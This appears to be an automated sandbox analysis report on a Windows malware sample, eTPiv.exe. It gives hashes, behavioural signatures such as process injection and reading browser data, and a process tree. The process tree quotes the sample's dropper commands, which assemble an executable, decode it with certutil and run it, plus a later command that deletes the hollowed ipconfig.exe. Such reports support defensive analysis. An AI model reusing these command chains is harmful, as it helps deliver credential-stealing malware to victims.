Analysis
-
max time kernel
65s -
max time network
67s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
08/07/2020, 20:19
Static task
static1
Behavioral task
behavioral1
Sample
eTPiv.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
eTPiv.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
eTPiv.exe
-
Size
941KB
-
MD5
c126b47388c127334162f17ab4e0cb2c
-
SHA1
d74b2309be4af77691bd424ea8ab5055af89e587
-
SHA256
77867995d1e8388230c9f71fee5e835b346bfcfef3fde418c6a773eea11b4afd
-
SHA512
7abdf106235dfe7311bcc1a1d847a2b4c9223aa3e59c59c486c4cb310e535de71b3680c937695210be0013c7158aaca97e2e664bb89a8dd5c7306a6cf1c9537a
Score
8/10
Malware Config
Signatures
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1132 set thread context of 1480 1132 SgrmBroker.com 72 -
Program crash 1 IoCs
pid pid_target Process procid_target 2636 1480 WerFault.exe 72 -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 2916 wrote to memory of 560 2916 eTPiv.exe 66 PID 2916 wrote to memory of 560 2916 eTPiv.exe 66 PID 2916 wrote to memory of 560 2916 eTPiv.exe 66 PID 560 wrote to memory of 900 560 cmd.exe 68 PID 560 wrote to memory of 900 560 cmd.exe 68 PID 560 wrote to memory of 900 560 cmd.exe 68 PID 560 wrote to memory of 680 560 cmd.exe 69 PID 560 wrote to memory of 680 560 cmd.exe 69 PID 560 wrote to memory of 680 560 cmd.exe 69 PID 680 wrote to memory of 1132 680 SgrmBroker.com 70 PID 680 wrote to memory of 1132 680 SgrmBroker.com 70 PID 680 wrote to memory of 1132 680 SgrmBroker.com 70 PID 560 wrote to memory of 1360 560 cmd.exe 71 PID 560 wrote to memory of 1360 560 cmd.exe 71 PID 560 wrote to memory of 1360 560 cmd.exe 71 PID 1132 wrote to memory of 1480 1132 SgrmBroker.com 72 PID 1132 wrote to memory of 1480 1132 SgrmBroker.com 72 PID 1132 wrote to memory of 1480 1132 SgrmBroker.com 72 PID 1132 wrote to memory of 1480 1132 SgrmBroker.com 72 PID 1480 wrote to memory of 1932 1480 ipconfig.exe 73 PID 1480 wrote to memory of 1932 1480 ipconfig.exe 73 PID 1480 wrote to memory of 1932 1480 ipconfig.exe 73 PID 1932 wrote to memory of 2144 1932 cmd.exe 76 PID 1932 wrote to memory of 2144 1932 cmd.exe 76 PID 1932 wrote to memory of 2144 1932 cmd.exe 76 -
Executes dropped EXE 2 IoCs
pid Process 680 SgrmBroker.com 1132 SgrmBroker.com -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 680 SgrmBroker.com 680 SgrmBroker.com 680 SgrmBroker.com 1132 SgrmBroker.com 1132 SgrmBroker.com 1132 SgrmBroker.com -
Suspicious use of SendNotifyMessage 6 IoCs
pid Process 680 SgrmBroker.com 680 SgrmBroker.com 680 SgrmBroker.com 1132 SgrmBroker.com 1132 SgrmBroker.com 1132 SgrmBroker.com -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1132 SgrmBroker.com -
Checks for installed software on the system 1 TTPs 28 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName ipconfig.exe Key enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName ipconfig.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName ipconfig.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce eTPiv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" eTPiv.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 2144 PING.EXE 1360 PING.EXE
Processes
-
C:\Users\Admin\AppData\Local\Temp\eTPiv.exe"C:\Users\Admin\AppData\Local\Temp\eTPiv.exe"1⤵
- Suspicious use of WriteProcessMemory
- Adds Run entry to start application
PID:2916 -
C:\Windows\SysWOW64\cmd.execmd /c <nul set /p ="M" > SgrmBroker.com & type JDhB.com >> SgrmBroker.com & del JDhB.com & certutil -decode GiEs.com A & SgrmBroker.com A & ping 127.0.0.1 -n 32⤵
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\SysWOW64\certutil.execertutil -decode GiEs.com A3⤵PID:900
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SgrmBroker.comSgrmBroker.com A3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:680 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SgrmBroker.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SgrmBroker.com A4⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious behavior: MapViewOfSection
PID:1132 -
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\SysWOW64\ipconfig.exe"5⤵
- Suspicious use of WriteProcessMemory
- Checks for installed software on the system
PID:1480 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping google.com && erase C:\Windows\SysWOW64\ipconfig.exe6⤵
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\PING.EXEping google.com7⤵
- Runs ping.exe
PID:2144
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1480 -s 13166⤵
- Program crash
PID:2636
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 33⤵
- Runs ping.exe
PID:1360
-
-